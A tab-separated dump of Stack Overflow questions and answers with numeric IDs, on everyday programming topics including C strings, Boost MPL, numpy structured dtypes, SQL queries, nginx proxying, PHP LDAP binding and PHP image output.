27322515	0	Write a C Program to extract a portion of a string from a character string using for loop <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt; void main() { char str1[50],str2[50]; int i,j,n,m,l; clrscr(); printf("Enter the string\n"); gets(str1); //scanf ("%s",str1); printf("Enter the position of the required character: "); scanf("%d",&amp;n); printf("Enter the required number of characters to be extracted: "); scanf("%d",&amp;m); l=strlen(str1); if(m+n-1&lt;l) { for(i=n-1;i&lt;m+n-1;i++) { for(j=0;j&lt;i;j++) { str2[j]=str1[i]; str2[j]='\0'; } } printf ("The extracted string is: %s",str2); } else printf ("string extraction is not possible"); } </code></pre> <p>Expected Output </p> <pre><code>Enter the string : UNIVERSITY IN BANGALORE Enter the position of the required character: 6 Enter the required number of characters to be extracted: 4 The extracted string is: SITY </code></pre>
2281951	0	 <p>Store the Thread results in a list after they were spawned and iterate the list - during iteration call join then. You still join linearly, but it should do what you want.</p>
35859741	0	Comparing two string failing assertion <p>This is really weird, im trying to assert two strings are equal and it's failing even though it looks to be the same.</p> <pre><code> Assert.assertSame("Extra Spicy", type, "type is not extra spicy"); </code></pre> <p>I get this error:</p> <blockquote> <p>java.lang.AssertionError: type is not extra spicy expected [Extra Spicy] but found [Extra Spicy] <br> Expected :Extra Spicy <br> Actual :Extra Spicy</p> </blockquote> <p>Everything matches, why is it failing?</p>
29368582	0	Integrate stateful C computations with Modelica <p>I have integrated a machine learning algorithm implemented in C with a Modelica model running in OpenModelica.</p> <p>The machine learning algorithm is in close-loop, taking as input the deviation from the target state and providing as output a control signal.</p> <p>I have set a sampling period so that the C algorithm is only called every X millisecs. However, I am seeing that the algorithm is being called several times for the same clock values.</p> <p>This makes me suspect that in order to solve the model, OpenModelica needs to invoke it several times per simulation iteration.</p> <p>This is affecting the way the algorithm is learning, as it keeps state regarding its experience.</p> <p>Why is OpenModelica invoking my algorithm several times per clock tick? How can I address this to not lead the learning to get confused by the multiple invocations for the same time?</p>
5062222	0	Changing the value of a variable that is a parameter in the parent scope <p>Is there any way to change the value of a parameter in the parent scope without passing it by reference to the child scope? I'd like to do something like this:</p> <pre><code>function foo($x = 5) { bar(); echo $x; // Ideally should output 6 } function bar() { $x = 6; } foo(); </code></pre> <p>In the scope of bar, I can get the value of $x by using debug_backtrace() or ReflectionFunction::getParameters, but I can't get a reference to $x!! Can this be done? I don't care if the solution is kind of a hack.</p> <p>(To reiterate, I KNOW that I could just pass $x by reference to bar.)</p>
16130586	0	Is there a way to connect Intellij IDEA to Sublime Text on Mac OS X? <p>I would like to find a way to open a file in Sublime Text 2 from Intellij IDEA (on Mac OS X), as to use its advanced text editing features on those occasions where writing "normal text" is not enough!</p>
5572951	0	 <p>If I understand correctly, you can hook into the Form Closing event.</p> <p>So in your main form you can do something like:</p> <pre><code>Form2 form2 = new Form2(); form2.Show(); form2.FormClosing += new FormClosingEventHandler(form2_FormClosing); void form2_FormClosing(object sender, FormClosingEventArgs e) { this.Show(); } </code></pre>
39777750	0	 <p>If you just want to set the value of the combobox input after the combobox is created, you can set the value of the select and then...</p> <pre><code>$(".ui-combobox-input").val($("#select option:selected").text()); </code></pre>
3506700	0	 <p>Maybe pyCrust plus the Python debugger?</p>
15867840	0	Mouse Hower on TextBlock <p>The idea is when mouse howler above <code>TextBlock</code>, new <code>Image</code> is appear and it possible to click on it. When mouse leave the <code>TextBlock</code> - <code>Image</code> should disappear. </p> <p>Meanwhile I came to this, but still unable to continue:</p> <pre><code>&lt;Style x:Key="HoverHighlightTextStyle" TargetType="TextBlock"&gt; &lt;Setter Property="FontSize" Value="16"/&gt; &lt;Setter Property="FontWeight" Value="Normal"/&gt; &lt;Setter Property="Margin" Value="3,0,3,0"/&gt; &lt;Style.Triggers&gt; &lt;Trigger Property="IsMouseOver" Value="True"&gt; &lt;/Trigger&gt; &lt;/Style.Triggers&gt; &lt;/Style&gt; </code></pre> <p><code>Expected result</code></p> <p><img src="https://i.stack.imgur.com/4oRHb.png" alt="enter image description here"></p>
6644091	0	Java Date determine if DAY is greater <p>I have time stamps as string format Sun Jul 10 17:47:55 EDT 2011</p> <p>I need to determine if the current DAY is greater than the stored day.</p> <p>I will get the current day with <code>Date currentDate = new Date();</code></p> <p>and I will parse my string into a <code>Date</code> object with <code>SimpleDateFormat dateParser = new SimpleDateParser("E MMM d HH:mm:ss z y");</code></p> <p>but using the "currentDate.after()" function, or the <code>currentDate.compare()</code> function will only tell me if ANY date is greater or less than, which includes by the hour,minute or second.</p> <p>So My next hunch would be to convert the date into the day of the year, and compare the new integers, if integer1>integer2, then.. but how would I do that?</p> <p>I also considered breaking the string up to a substring consisting of only the first half of the stored string date. <code>Sun Jul 10</code> to <code>Sun Jul 10</code> but the problem here is that the day value is sometimes 1 digit and othertimes 2 digits.</p> <p>Also I think the <code>Calendar</code> abstract class is the best way to go about this, but I am unsure, and currently in a fog about how to convert the Date objects into the Calendar object for comparison!</p> <p>Insight appreciated</p>
4077369	0	concatenate boost::mpl::string <p>How I can concatenate boost::mpl::string? The following code produce errors:</p> <pre><code>#include &lt;iostream&gt; #include &lt;boost/mpl/vector.hpp&gt; #include &lt;boost/mpl/string.hpp&gt; #include &lt;boost/mpl/fold.hpp&gt; #include &lt;boost/mpl/placeholders.hpp&gt; #include &lt;boost/mpl/push_back.hpp&gt; typedef boost::mpl::vector&lt; boost::mpl::string&lt;'ab'&gt;, boost::mpl::string&lt;'cd'&gt;, boost::mpl::string&lt;'ef'&gt; &gt; slist; typedef boost::mpl::fold&lt; slist, boost::mpl::string&lt;&gt;, boost::mpl::push_back&lt;boost::mpl::_1, boost::mpl::_2&gt; &gt;::type string; int main() { std::cout &lt;&lt; boost::mpl::c_str&lt;string&gt;::value &lt;&lt; std::endl; } </code></pre> <p>full source here: <a href="http://liveworkspace.org/code/31902a4b1b0831d054119bc0b8923cb6" rel="nofollow">http://liveworkspace.org/code/31902a4b1b0831d054119bc0b8923cb6</a> errors:</p> <blockquote> <p>In file included from source.cpp:3:0: string.hpp: In instantiation of 'boost::mpl::push_back_impl&lt; boost::mpl::string_tag</p> <blockquote> <p>::apply, boost::mpl::string&lt;24930> >': boost/mpl/push_back.hpp:32:1:<br> instantiated from 'boost::mpl::push_back&lt; boost::mpl::string&lt;>, boost::mpl::string&lt;24930> ' boost/mpl/aux_/has_type.hpp:20:1:<br> instantiated from 'const bool boost::mpl::aux::has_type&lt; boost::mpl::push_back, boost::mpl::string&lt;24930> >, mpl_::bool_ ::value' boost/mpl/aux_/has_type.hpp:20:1:<br> instantiated from 'boost::mpl::aux::has_type&lt; boost::mpl::push_back, boost::mpl::string&lt;24930> >, mpl_::bool_ ' boost/mpl/aux_/preprocessed/gcc/quote.hpp:56:5: instantiated from 'boost::mpl::quote2&lt; boost::mpl::push_back ::apply, boost::mpl::string&lt;24930> >' boost/mpl/aux_/preprocessed/gcc/apply_wrap.hpp:49:1: instantiated from 'boost::mpl::apply_wrap2&lt; boost::mpl::quote2, boost::mpl::string&lt;>, boost::mpl::string&lt;24930> ' boost/mpl/aux_/preprocessed/gcc/bind.hpp:207:21: instantiated from 'boost::mpl::bind2&lt; boost::mpl::quote2, mpl_::arg&lt;1>, mpl_::arg&lt;2> ::apply, boost::mpl::string&lt;24930> >' boost/mpl/aux_/preprocessed/gcc/apply_wrap.hpp:49:1: instantiated from 'boost::mpl::apply_wrap2&lt; boost::mpl::protect&lt; boost::mpl::bind2, mpl_::arg&lt;1>, mpl_::arg&lt;2> >, 0 , boost::mpl::string&lt;>, boost::mpl::string&lt;24930> ' boost/mpl/aux_/preprocessed/gcc/apply.hpp:73:1: instantiated from 'boost::mpl::apply2&lt; boost::mpl::push_back, mpl_::arg&lt;2> >, boost::mpl::string&lt;>, boost::mpl::string&lt;24930> ' boost/mpl/aux_/preprocessed/gcc/fold_impl.hpp:87:85: instantiated from 'boost::mpl::aux::fold_impl&lt; 3, boost::mpl::v_iter&lt; boost::mpl::vector, boost::mpl::string&lt;25444>, boost::mpl::string&lt;25958> >, 0l , boost::mpl::v_iter&lt; boost::mpl::vector, boost::mpl::string&lt;25444>, boost::mpl::string&lt;25958> >, 3l , boost::mpl::string&lt;>, boost::mpl::push_back, mpl_::arg&lt;2> > ' boost/mpl/fold.hpp:39:18: instantiated from 'boost::mpl::fold&lt; boost::mpl::vector, boost::mpl::string&lt;25444>, boost::mpl::string&lt;25958> > , boost::mpl::string&lt;>, boost::mpl::push_back, mpl_::arg&lt;2> > ' source.cpp:18:2: instantiated from here string.hpp:207:53: error: 'value' is not a member of 'boost::mpl::string&lt;24930>' In file included from boost/mpl/back_inserter.hpp:18:0, from boost/mpl/aux_/inserter_algorithm.hpp:18, from boost/mpl/copy.hpp:20, from string.hpp:26, from source.cpp:3: boost/mpl/push_back.hpp: In instantiation of 'boost::mpl::push_back&lt; boost::mpl::push_back, boost::mpl::string&lt;24930> >, boost::mpl::string&lt;25444> ': boost/mpl/aux_/has_type.hpp:20:1:<br> instantiated from 'const bool boost::mpl::aux::has_type&lt; boost::mpl::push_back&lt; boost::mpl::push_back, boost::mpl::string&lt;24930> >, boost::mpl::string&lt;25444> , mpl_::bool_ ::value' boost/mpl/aux_/has_type.hpp:20:1:<br> instantiated from 'boost::mpl::aux::has_type&lt; boost::mpl::push_back&lt; boost::mpl::push_back, boost::mpl::string&lt;24930> >, boost::mpl::string&lt;25444> , mpl_::bool_ ' boost/mpl/aux_/preprocessed/gcc/quote.hpp:56:5: instantiated from 'boost::mpl::quote2&lt; boost::mpl::push_back</p> </blockquote> </blockquote>
30117338	0	 <pre><code>Private Sub Workbook_Open() '// Disable Accelerators keys in Excel 2007-2013 Dim Ctl As CommandBarControl For Each Ctl In Application.CommandBars("&amp;Legacy Keyboard Support").Controls Ctl.Tag = Ctl.Caption Ctl.Caption = Replace(Ctl.Caption, "&amp;", "") Next Dim StartKeyCombination As Variant Dim KeysArray As Variant Dim Key As Variant Dim I As Long On Error Resume Next '// Shift key = "+" (plus sign) '// Ctrl key = "^" (caret) '// Alt key = "%" (percent sign '// We fill the array with this keys and the key combinations '// Shift-Ctrl, Shift- Alt, Ctrl-Alt, Shift-Ctrl-Alt For Each StartKeyCombination In Array("+", "^", "%", "+^", "+%", "^%", "+^%") KeysArray = Array("{BS}", "{BREAK}", "{CAPSLOCK}", "{CLEAR}", "{DEL}", _ "{DOWN}", "{END}", "{ENTER}", "~", "{ESC}", "{HELP}", "{HOME}", _ "{INSERT}", "{LEFT}", "{NUMLOCK}", "{PGDN}", "{PGUP}", _ "{RETURN}", "{RIGHT}", "{SCROLLLOCK}", "{TAB}", "{UP}") '// Disable the StartKeyCombination For Each Key In KeysArray Application.OnKey StartKeyCombination &amp; Key, "" Next Key '// Disable the StartKeyCombination key(s) with every other key For I = 0 To 255 Application.OnKey StartKeyCombination &amp; Chr$(I), "" Next I '// Disable the F1 - F15 keys in combination with the Shift, Ctrl or Alt key For I = 1 To 15 Application.OnKey StartKeyCombination &amp; "{F" &amp; I &amp; "}", "" Next I Next StartKeyCombination '// Disable the F1 - F15 keys For I = 1 To 15 Application.OnKey "{F" &amp; I &amp; "}", "" Next I '// Disable the PGDN and PGUP keys Application.OnKey "{PGDN}", "" Application.OnKey "{PGUP}", "" End Sub </code></pre> <p>Reference below links</p> <p><a href="http://www.rondebruin.nl/win/s5/win005.htm" rel="nofollow">Excel Automation</a></p> <p><a href="https://msdn.microsoft.com/en-us/library/ms724947(v=vs.85).aspx" rel="nofollow">SystemParametersInfo Function</a></p>
15595120	0	 <p>You shouldn't use the dyno filesystem for persistent file storage (like databases). The dyno filesystems are ephemeral and changes are not reflected in the git repository associated with you app. Use one of the data storage add-ons instead: <a href="https://addons.heroku.com" rel="nofollow">https://addons.heroku.com</a></p>
25032376	0	 <p>As ZZ Coder has already mentioned load balancer is a good solution especially for big deployments. For my own project I use reverse http proxy functionality of nginx web server. It redirects all http packets from a specified web context (seen from the Internet) to a server inside my network. Configuration is really easy:</p> <p><code> location /best-app-ever/ { proxy_pass host-address:8080/some-app-1.1 root /home/www/some-app-1.1 } </code></p> <p>Switching version should be smooth as well. Assuming that you have already deployed new version of application just change nginx configuration file and apply changes:</p> <p><code> location /best-app-ever/ { proxy_pass host-address:8080/some-app-1.2 root /home/www/some-app-1.2 } </code></p> <p><code>sudo nginx -t</code> <br/> <code>sudo service nginx restart</code></p> <p>Be warned that in case your web application is stateful and/or contains some running or scheduled processes, the deployment and undeployment might not be as smooth.</p>
37966360	0	 <p>You can use Exists for this </p> <pre><code>Select * from (select Barcode from ITList union select Barcode from Equipment_list) as t where exists (select Barcode from Scanneditem where Scanneditem.Barcode = t.Barcode) </code></pre>
27981621	0	Generate Timestamp in IST Timezone java <p>I am trying to generate current timestamp in GMT timezone but it is still getting generated in IST as my machine is set to IST. I am using this code. Please help!!</p> <pre><code>{ String timeZone = "GMT"; Calendar gmtCalendar = Calendar.getInstance(TimeZone.getTimeZone(timeZone)); Date date = gmtCalendar.getTime(); endTime = new Timestamp(date.getTime()); String eTime = NLSUtil.getFormattedDate(AdfUtil.getClientLocale(), new java.sql.Date(endTime.getTime())); } </code></pre>
34467431	0	 <p>Generally: yes, the bias weights should be updated and included in training just as any other weight in the NN (also in backpropagation).</p> <p>In the example you've posted, the bias <code>b1</code> is added to both neurons the hidden layer, and bias <code>b2</code> to both neutrons in the output layer</p> <pre><code>Hidden layer: h1 = i1*w1 + i2*w2 + 1*b1 h2 = i1*w3 + i2*w4 + 1*b1 Output layer: o1 = h1*w5 + h2*w6 + 1*b2 o2 = i2*w7 + h2*w8 + 1*b2 </code></pre> <p>With initial, and in this example, fixed, biases</p> <pre><code>b1 = 0.35 b2 = 0.60 </code></pre> <p>This means that the biases for hidden neutrons is always exactly 0.35, and for output neutrons exactly 0.60. This, however, is not usual practice, as you want to train your NN to find "good" biases just as much you want it to train to find good weights.</p> <p>Note also, in the comments of the link you provided, that another user has asked why biases are not changed, and the author has replied, quote:</p> <blockquote> <p>"Hey, in the tutorials I went through they didn’t update the bias which is why I didn’t include it here."</p> </blockquote> <p>This lack of a specific "why" possibly implies that the author of this example/tutorial is, however well-versed, no expert at the subject of NN, so you shouldn't out to much weight (no pun intended...) into the fast that the biases are not changed in this specific example.</p> <hr> <p>If you really want to dig into a sound and thorough covering of NN in the context of back propagation, I would rather recommend you Michael Nielsen excellent book on NN and deep learning, specifically for this subject, Chapter 2. Note that the bias weights, here, are treated just as weights for neuron-neuron data transfer.</p> <ul> <li><a href="http://neuralnetworksanddeeplearning.com/chap2.html" rel="nofollow">http://neuralnetworksanddeeplearning.com/chap2.html</a></li> </ul> <p>Michael is a Google Researcher with numerous publicised articles in the subject of advanced NN and deep learning.</p> <blockquote> <p>At the heart of backpropagation is an expression for the partial derivative ∂C/∂w of the cost function C with respect to any weight w (or bias b) in the network. The expression tells us <strong>how quickly the cost changes when we change the weights and biases.</strong></p> </blockquote>
23645666	0	 <p>You can give an alignment suggestion to the layout manager by using:</p> <pre><code>label.setAlignmentY(JLabel.CENTER_ALIGNMENT); </code></pre> <p>If this doesn't help then post a proper <a href="http://www.sscce.org/" rel="nofollow">SSCCE</a> that demonstrates the problem.</p>
25712668	0	 <p>Assuming the input array is <code>(n,m,3)</code>, then it can be expanded to <code>(n,m,4)</code> by simply concatenating a <code>(n,m,1)</code> array.</p> <pre><code>X = np.ones((n,m,3), dtype='byte') F = np.zeros((n,m,1), dtype='byte') X1 = np.concatenate([X,F], axis=2) </code></pre> <p>Strides for these are <code>(3*m,3,1)</code>, <code>(m,1,1)</code> and <code>(4*m,4,1)</code>.</p> <p>The same data could put in</p> <pre><code>In [72]: dt0 = np.dtype([('R','u1'), ('G','u1'), ('B','u1')]) In [73]: X=np.ones((n,m),dtype=dt0) In [74]: X.strides Out[74]: (150, 3) In [75]: X.shape Out[75]: (30, 50) </code></pre> <p>With the target having <code>dt = np.dtype([('R','u1'), ('G','u1'), ('B','u1'), ('A','u1')])</code> <a href="http://docs.scipy.org/doc/numpy/reference/arrays.dtypes.html" rel="nofollow">http://docs.scipy.org/doc/numpy/reference/arrays.dtypes.html</a></p> <h2>Mapping RGB fields to RGBA</h2> <p>But to do concatenation with these dtypes, we'd do some sort of casting to the <code>(n,m,3)</code> shape. Looks like reassigning the <code>data</code> attribute will do the trick.</p> <pre><code>n, m = 2, 4 dt1 = np.dtype([('R','u1'), ('G','u1'), ('B','u1'), ('A','u1')]) dt0 = np.dtype([('R','u1'), ('G','u1'), ('B','u1')]) X = np.arange(n*m*3,dtype='u1').reshape(n,m,3) print repr(X) X0 = np.zeros((n,m), dtype=dt0) X0.data = X.data print repr(X0) X0.strides # (12, 3) X1 = np.zeros((n,m), dtype=dt1) F = np.zeros((n,m,1), dtype='u1') X01 = np.concatenate([X, F], axis=2) X1.data = X01.data print repr(X1) X1.strides # (12, 4) </code></pre> <p>producing:</p> <pre><code>array([[(0, 1, 2), (3, 4, 5), (6, 7, 8), (9, 10, 11)], [(12, 13, 14), (15, 16, 17), (18, 19, 20), (21, 22, 23)]], dtype=[('R', 'u1'), ('G', 'u1'), ('B', 'u1')]) array([[(0, 1, 2, 0), (3, 4, 5, 0), (6, 7, 8, 0), (9, 10, 11, 0)], [(12, 13, 14, 0), (15, 16, 17, 0), (18, 19, 20, 0), (21, 22, 23, 0)]], dtype=[('R', 'u1'), ('G', 'u1'), ('B', 'u1'), ('A', 'u1')]) </code></pre> <h2>Using overlapping dtypes</h2> <p>Here's a way of doing it with overlapping dtypes rather than concatenation:</p> <pre><code>dt0 = np.dtype([('R','u1'), ('G','u1'), ('B','u1')]) dt1 = np.dtype([('R','u1'), ('G','u1'), ('B','u1'), ('A','u1')]) dtb = np.dtype({'names':['rgb','rgba'], 'offsets':[0,0], 'formats':[dt0, dt1]}) X0 = np.zeros((n,m), dtype=dt0) X0.data = X.data X1 = np.zeros((n,m), dtype=dtb) X1['rgb'][:] = X0 print repr(X1['rgba']) </code></pre> <p>Or without the individual named byte fields it's even simpler:</p> <pre><code>dt0 = np.dtype(('u1',(3,))) dt1 = np.dtype(('u1',(4,))) dtb = np.dtype({'names':['rgb','rgba'], 'offsets':[0,0], 'formats':[dt0, dt1]}) X = np.arange(n*m*3,dtype='u1').reshape(n,m,3) X1 = np.zeros((n,m), dtype=dtb) X1['rgb'][:] = X </code></pre> <p><code>X1['rgba']</code> is <code>(n,m,4)</code>, with strides <code>(m*4, 4, 1)</code>.</p> <p><code>X1['rgb']</code> is <code>(n,m,3)</code>, but with the same strides <code>(m*4, 4, 1)</code>.</p> <h2>Using <code>as_strided</code></h2> <p>That difference in shape, but similarity in strides, suggest's using <code>as_strided</code>. Create the empty target array, and use <code>as_strided</code> to select a subset of elements to receive values from <code>X</code>:</p> <pre><code>X1 = np.zeros((n,m,4),dtype='u1') np.lib.stride_tricks.as_strided(X1, shape=X.shape, strides=X1.strides)[:] = X print X1 </code></pre>
14598137	0	 <p>The question is a little bit poor specified. </p> <blockquote> <p>order the result in asc or desc depending upon a column value.</p> </blockquote> <p>A column takes many values (as there are multiple rows).</p> <p>Now, <code>order by</code> clause use an expression and order rows upon it. That expression should be morphotropic(;))</p> <p>So, assuming stardard oracle's employee schema, managers are:</p> <pre><code>select * from emp e where exists (select emp_id from emp where e.id=emp.mgr_id) </code></pre> <p>An workaround query may be:</p> <pre><code>Select e.id, e.name, e.birth_date, case when (select count(*) from emp e where exists (select emp_id from emp where e.id=emp.mgr_id) ) --existence of manager &gt; 0 then birth_date - to_date('1-Jan-1000','dd-mon-yyyy') else to_date('1-Jan-1000','dd-mon-yyyy') - birth_date end as tricky_expression from emp A order by 4; </code></pre> <p>That exexpresion is the <code>case</code>; Using a constant(subquery that decides there are managers) it changes values from positive to negative, that is, change the order direction.</p> <p><strong>UPDATE:</strong> with the details in the comments:</p> <pre><code>select id, name, birth_date emp_type from ( Select id, name, birth_date, emp_type, case when cnt_mgr &gt; 0 then birth_date - to_date('1-Jan-1000','dd-mon-yyyy') else to_date('1-Jan-1000','dd-mon-yyyy') - birth_date end as tricky_expression from( Select e.id, e.name, e.birth_date, emp_type, count(case when emp_type='M' then 1 else 0 end) over() as mgr_count from emp A where your_conditions ) order by tricky_expression ) where rownum=1; </code></pre>
17048090	0	 <p>No the richtext component does not provide such functionality. But it is possible to create ordered and unordered lists and to intend or outend the single list items.</p>
37486328	0	SQL query to rows to columns <p>I have a table like this</p> <pre><code>CREATE TABLE #CurrencyRate ( [Base] nvarchar(10), [Quote] nvarchar(10), [Amount] nvarchar(10) ) </code></pre> <p>and it has data like this</p> <pre><code>Base Quote Amount --------------------- R1C1 R1C2 R1C3 R2C1 R2C2 R2C3 </code></pre> <p><strong>Note</strong>: <code>R1C1</code> => Row 1, Column 1</p> <p>I want output like </p> <pre><code>Row Column Attribute Value ----------------------------------------- 1 1 Base R1C1 1 2 Quote R1C2 1 3 Amount R1C3 2 1 Quote R2C1 2 2 Amount R2C2 2 3 Base R2C3 </code></pre> <p>Is it possible to get output like this with some SQL?</p> <p>Thanks in advance</p>
28526565	0	 <p>Please consider the following <em>"test guide"</em> more as comment than an answer, because it just contains some <code>console.log</code> statements instead of an actual answer for your problem.</p> <p>Anyway below are some issues I'd try to checkout:</p> <ol> <li>do you receive an answer from the server following <code>query.find</code> </li> <li>check is data fetched (inner query) from the server</li> <li>check if category data is received successfully following fetch query </li> <li>check if element with category id is found</li> <li>error handling added for fetch and query </li> </ol> <p>Also I noticed that you are using <a href="http://api.jquery.com/text/" rel="nofollow">.text()</a> method for setting the value. I think it'll work fine as long as the element in question is not a form input element. If that's the case, you probably have to you use <a href="http://api.jquery.com/val/" rel="nofollow">.val()</a> method.</p> <p>The <code>console.log</code> test print outs that I added can be found at this <a href="http://jsfiddle.net/jyrkim/usdgvx85/1/" rel="nofollow">Fiddle</a> for <code>updateBudgets()</code> function. (Fiddle updated) I hope this helps :-)</p>
24083219	0	 <p>Threre are other <a href="http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/Executors.html" rel="nofollow">threadpools available</a>, for example the fixed threadpool (<code>newFixedThreadPool</code>), which seems to behave just as the one you use, only without the sceduling.</p>
29203494	0	 <p>you need to provide the failure message while asserting only then it will take up in the report. Consider below code snippet:</p> <pre><code>import org.testng.annotations.Test; import org.testng.asserts.SoftAssert; public class SoftAsert { @Test public void test() { SoftAssert asert=new SoftAssert(); asert.assertEquals(false, true,"failed"); asert.assertEquals(0, 1,"brokedown"); asert.assertAll(); } } </code></pre> <p>Output:</p> <pre><code>FAILED: test java.lang.AssertionError: The following asserts failed: failed, brokedown </code></pre> <p>That is how the softassertions are suppose to work. The intent is to display the error message in case of failure. Let me know if this helps.</p>
20627067	0	 <p>Your code isn't compilable. Here is the reasons:</p> <ol> <li>The conditions must be placed into some method</li> <li>The declaration of event handler must be moved out from the condition scope</li> </ol> <p>Here is the workable code:</p> <pre><code>namespace WindowsFormsApplication1 { public partial class Form1 : Form { private int flag; FileSystemWatcher watcher = new FileSystemWatcher(); public Form1() { InitializeComponent(); watcher.Path = @"C:\"; watcher.Filter = "test.txt"; watcher.Changed += watcher_Changed; watcher.EnableRaisingEvents = true; } private void SetFlag() { FileInfo info = new FileInfo("c:\\test.txt"); if (info.Length &gt; 0) flag= 1; } private void CheckFlag() { if(flag==1) { button1.PerformClick(); } } private void button1_Click(object sender, EventArgs e) { //Code for Redirection to New Form } void watcher_Changed(object sender, FileSystemEventArgs e) { SetFlag(); CheckFlag(); } } } </code></pre> <p>And now you can call method <code>SetFlag()</code> to set flag. And use method <code>CheckFlag()</code> to check flag. In this example I use <code>FileSystemWatcher</code> to catch all file changes and call <code>SetFlag()</code> and <code>CheckFlag()</code> inside the handler of event <code>Changed</code></p> <p>Instead of <code>button1.PerformClick()</code> you can use <code>button1_Click(this, EventArgs.Empty)</code></p>
10946596	0	How to create image in php <p>I am creating image with php</p> <p>code</p> <pre><code>$src = array ("22.jpg","33.jpg","44.jpg","55.jpg","66.jpg","77.jpg"); $imgBuf = array (); foreach ($src as $link) { switch(substr ($link,strrpos ($link,".")+1)) { case 'png': $iTmp = imagecreatefrompng($link); break; case 'gif': $iTmp = imagecreatefromgif($link); break; case 'jpeg': case 'jpg': $iTmp = imagecreatefromjpeg($link); break; } array_push ($imgBuf,$iTmp); } $iOut = imagecreatetruecolor ("35","210") ; imagecopy ($iOut,$imgBuf[0],0,0,0,0,imagesx($imgBuf[0]),imagesy($imgBuf[0])); imagedestroy ($imgBuf[0]); imagecopy ($iOut,$imgBuf[1],0,35,0,0,imagesx($imgBuf[1]),imagesy($imgBuf[1])); imagedestroy ($imgBuf[1]); imagecopy ($iOut,$imgBuf[2],0,70,0,0,imagesx($imgBuf[2]),imagesy($imgBuf[2])); imagedestroy ($imgBuf[2]); imagecopy ($iOut,$imgBuf[3],0,105,0,0,imagesx($imgBuf[3]),imagesy($imgBuf[3])); imagedestroy ($imgBuf[3]); imagecopy ($iOut,$imgBuf[4],0,140,0,0,imagesx($imgBuf[4]),imagesy($imgBuf[4])); imagedestroy ($imgBuf[4]); imagecopy ($iOut,$imgBuf[5],0,175,0,0,imagesx($imgBuf[5]),imagesy($imgBuf[5])); imagedestroy ($imgBuf[5]); imagepng($iOut); //header ( 'Content-type:image/png' ); // save the img to directory $char='0123456789'; $length=10; $max_i=strlen($char)-1; $value=''; for($j=0;$j&lt;$length;$j++) { $value.=$char{mt_rand(0,$max_i)}; } $imageid=$value; </code></pre> <p>it giving error on page like </p> <blockquote> <p>‰PNG IHDR#ÒOuî² CIDATxœíÖ]ŒdÇUðÿ9§êÞþ˜™]ïìÇlbc‚ÀÐ†(@dQž @"$ƒ”&lt;°E‚XX<code>Y~ E D¼€"!ÂI’;Q$£°M¼ïzw½_3ÓÓÝ÷Ö×9&lt;ôÌ¬óÄRê§V«Õ·»ÿU]uÏ)JÙ ‚Ì€˜7€wâÕ½«¯^»Óçþå™åfÈ¹-š© *6›çŸù¹÷ðêðÌ[í‰%üÈ]Ø†0‡8@@ÙL3¼Än‘×ãÞ«·žxôñ»×69àôú©e?ÊóÙÊx™’W+Ü”˜C1Vö4Üîowq÷zwë?ýI·u§,É~@½™@PF¼Ž'&gt;ô»ÇýÚ‘áÊòêÒh8Hëá¬ Œ,eïÄ9îK ¡Lº½4ëºÙüÖ7Óä¿ø—Ø–€‡(™€b’ »øØ¹ß\K÷o¾ãÌúI&amp;*‚lÙÁR4P£ÄEÕ‰P¢ó!Î}ë:ëEdÄ-gX_.ß¸òòök¯ûŸúöß£Mp~1'ç($àßo½-­ÿÀÛï][Z/1Ëloî½Ÿ‡PaÕa#¥›{4ÓÉ˜4—\Š9í%©FË'7ÓÕñÝîƒÅ_h¹@øNþÄû}ðØ­?6NsLªêü0ö¡q%ö#fÖ2²Óbð’´¨ªjS¸,¾GE.ì\x~÷ùO&gt;ûØ x</code>°"*¶ñ±|äÄÚ™ñÊ±Év§Á4X‰¶·Óõ†S‹½€½Ž£QFècÅcŒ¡OH ˆ²ÝË¤Ï·ws›ë›'è$þûòþ:931þkû¸-Z;1Ÿv%ôÐ’c ß¸&amp;Lûaëgq:Ó>Í•àÃñ`¼:;EŠÉHBL­¸ºv&lt;š¤É€†§†Ç¿õ¥¯ŸýÉì');¾óÂ·7ëÜ' 9ö¥ˆH\C–Çäß¼ùæ%Ýž #µs­¦áéptU–}±lST°F:£#úÃ£Ï}ù«g?HÊ Q&lt;÷¥=5>–»b¢M¹uV †½8»&lt;»úûŸ{ooa€xmïÓ|üÈÚÀ›Ï}/</p> </blockquote> <p>how i can solve this </p>
40362894	0	PHP LDAPS unable to connect to server <pre><code> $username = $_POST['username']; $password = $_POST['password']; $ldaphost = "ldaps://corpldap.xxx.net"; $ldapUsername = "cn=$username,ou=people,dc=xxx,dc=net"; $ldapPassword = "$password"; $ds = ldap_connect($ldaphost,636) or die("\r\nCould not connect to LDAP server\r\n"); echo $ds; //this output 'Resource id #21' ldap_set_option($ds, LDAP_OPT_REFERRALS, 0); if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) { print "Could not set LDAPv3\r\n"; } else { // now we need to bind to the ldap server echo 'success'; //echo success output $bth = ldap_bind($ds) or die("\r\nCould not connect to LDAP server\r\n"); } </code></pre> <p>I get 'Resource id #21 success Could not connect to LDAP server'</p> <p>so ldap_bind is failing</p> <p>stack trace on error log: PHP Warning: ldap_bind(): Unable to bind to server: Can't contact LDAP server</p> <p>How can i fix this? Please help.</p> <p>Please note: i also tried $ldaphost = "ldaps://corpldap.xxx.net:636";</p> <p>I also tried echoing php_info() which shows ldap enabled.</p>
11952033	0	 <p>I suppose <a href="http://en.wikipedia.org/wiki/Singleton_pattern" rel="nofollow">Singleton</a> should help you managing it better, so you dont have to pass the pointer around. Practically, <code>mpi_glob</code> does the same, <code>Singleton</code> is just more accustomed way.</p> <p>Alternatively, you can still resort to global variables - they are not bad as such. If you want to emphasize one-time assignment you can declare them <code>const</code> and set them via static initializer like this:</p> <pre><code>const int number_of_tasks = get_preconfigured_number_of_tasks(); </code></pre> <p>If your global variables are used to hold compile time constants, then it is perfectly fine to replace them with <code>enum</code> members or preprocessor defines. Doing so will ease up on compiler, because it can use immediate value in-place without memory access.</p> <hr> <p>Credit goes to Pete Becker for pointing Singleton issues in his comment. If those issues bother you too, then totally different approach can be taken.</p> <p>Remember how Java programs are implemented? There is main class with main method and all program's work runs from inside that main method. Main is still member function, i.e. it can exclusively access some private fields of the main class (they have to be static in case of Java, but this is not the main point here).</p> <p>We can further extend the concept to <a href="http://en.wikipedia.org/wiki/Command_pattern" rel="nofollow">Command</a>-like implementation. The difference with conventional Java is that your main method equivalent is not static and your global variables with values specific to contained program are non-static member variables. All functions that need access to global state data are to be converted into member functions. This is possible, because main method is also member function.</p> <p>This way, I think, you can achieve better encapsulation and data safety.</p>